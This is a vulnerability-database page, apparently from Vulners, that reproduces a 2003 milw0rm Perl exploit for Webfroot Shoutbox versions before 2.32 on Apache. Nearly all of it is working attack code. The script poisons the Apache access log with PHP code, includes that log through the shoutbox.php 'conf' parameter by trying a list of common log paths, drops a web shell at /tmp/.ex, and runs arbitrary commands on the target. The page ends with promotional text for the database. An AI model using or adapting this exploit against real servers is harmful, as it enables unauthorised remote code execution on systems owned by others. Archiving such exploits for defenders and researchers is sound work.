Lucene search
K

Webfroot Shoutbox < 2.32 (Apache) Remote Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 144 Views

Webfroot Shoutbox < 2.32 Apache Remote Exploi

Code

                                                #!/usr/bin/perl
#
# Webfroot Shoutbox &#60; 2.32 on apache exploit
#

use IO::Socket;

my $host = &#34;127.0.0.1&#34;;
my $port = 80;
my $shoutbox = &#34;shoutbox.php?conf=&#34;;
my $shoutboxpath = &#34;/shoutbox&#34;;
my $cmd = &#34;ls -l&#34;;
my $conn;
my $type;
my @logs = ( 
&#34;/etc/httpd/logs/acces_log&#34;,
&#34;/etc/httpd/logs/acces.log&#34;,
&#34;/var/www/logs/access_log&#34;,
&#34;/var/www/logs/access.log&#34;,
&#34;/usr/local/apache/logs/access_log&#34;,
&#34;/usr/local/apache/logs/access.log&#34;,
&#34;/var/log/apache/access_log&#34;,
&#34;/var/log/apache/access.log&#34;,
&#34;/var/log/httpd/access_log&#34;,
&#34;/var/log/httpd/access.log&#34;,
#&#34;D:/apps/Apache Group/Apache2/logs/access.log&#34; 
);

my $qinit = &#34;GET /&#60;?\$h=fopen(&#39;/tmp/.ex&#39;,&#39;w+&#39;);fwrite(\$h,&#39;Result:&#60;pre&#62;&#60;?system(\$cmd);?&#62;
&#60;/pre&#62;&#39;);fclose(\$h);?&#62; HTTP/1.1\nHost: 127.0.0.1\nConnection: Close\n\n&#34;;
my $conn;


if ($ARGV[0] eq &#34;x&#34; || $ARGV[0] eq &#34;r&#34;){
$type = $ARGV[0]; 
}
else {
print &#34;[x] Webfroot Shoutbox &#60; 2.32 on apache exploit \n\n&#34;;
print &#34;Usage: \n Webfroot.pl (x|r) host [command] [path] [port]\n&#34;;
print &#34;\ttype\tx = exploit | r = run command (after run with x option)\n&#34;;
print &#34;\thost\thostname\n&#34;;
print &#34;\tcommand\tcommand to execute on remote server\n&#34;;
print &#34;\tpath\tpath to shoutbox installation ex: /shoutbox\n&#34;;
print &#34;\tport\tport number\n&#34;;
exit;
}

if ($ARGV[1]){
$host = $ARGV[1]; 
}

if ($ARGV[2]){
$cmd = $ARGV[2]; 
}
if ($ARGV[3]){
$shoutboxpath = $ARGV[3]; 
}
if ($ARGV[4]){
$port = int($ARGV[4]); 
}

$cmd =~ s/ /+/g;

sub connect_to {
#print &#34;[x] Connect to $host on port $port ...\n&#34;;
$conn = IO::Socket::INET-&#62;new (
Proto =&#62; &#34;tcp&#34;,
PeerAddr =&#62; &#34;$host&#34;,
PeerPort =&#62; &#34;$port&#34;,
) or die &#34;[*] Can&#39;t connect to $host on port $port ...\n&#34;;
$conn-&#62; autoflush(1);
}

sub connect_end {
#print &#34;[x] Close connection\n&#34;;
close($conn);
}

sub exploit {
my $access_log = $_[0];
my $result = &#34;&#34;;
$access_log =~ s/ /+/g;
my $query = &#34;GET ${shoutboxpath}/${shoutbox}${access_log} HTTP/1.1\
nHost: $host\nConnection: Close\n\n&#34;;
print &#34;$query&#34;;
print &#34;[x] Access log : &#34;, $access_log ,&#34;\n&#34;;
&connect_to;
print $conn $query;
while ($line = &#60;$conn&#62;) { 
$result = $line;
#print $result;
};
&connect_end;

}

sub run_cmd {
my $conf=&#34;/tmp/.ex&#34;;
#my $conf=&#34;d:/tmp/.ex&#34;;
my $result = &#34;&#34;;
my $query = &#34;GET ${shoutboxpath}/${shoutbox}${conf}&cmd=$cmd HTTP/1.1\
nHost: $host\nConnection: Close\n\n&#34;;

print &#34;[x] Run command ...\n&#34;;
&connect_to;
print $conn $query;
while ($line = &#60;$conn&#62;) { 
$result .= $line;
};
&connect_end;
if ($result =~ /Result:/){
print $result;
} else {
print $result;
print &#34;[*] Failed ...&#34;;
} 

}

sub insert_code {
my $result = &#34;&#34;;
print &#34;[x] Access log : &#34;, $access_log ,&#34;\n&#34;;
print &#34;[x] Insert php code into apache access log ...\n&#34;;
&connect_to;
print $conn &#34;$qinit&#34;;
while ($line = &#60;$conn&#62;) { 
$result .= $line;
};
&connect_end;
print $result; 
}

if ($type eq &#34;x&#34;){
&insert_code;
print &#34;[x] Trying to exploit ...\n&#34;;
for ($i = 0;$i &#60;= $#logs; $i++){
&exploit($logs[$i]);
}
&run_cmd;
} else {
&run_cmd;
}



# milw0rm.com [2003-05-29]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation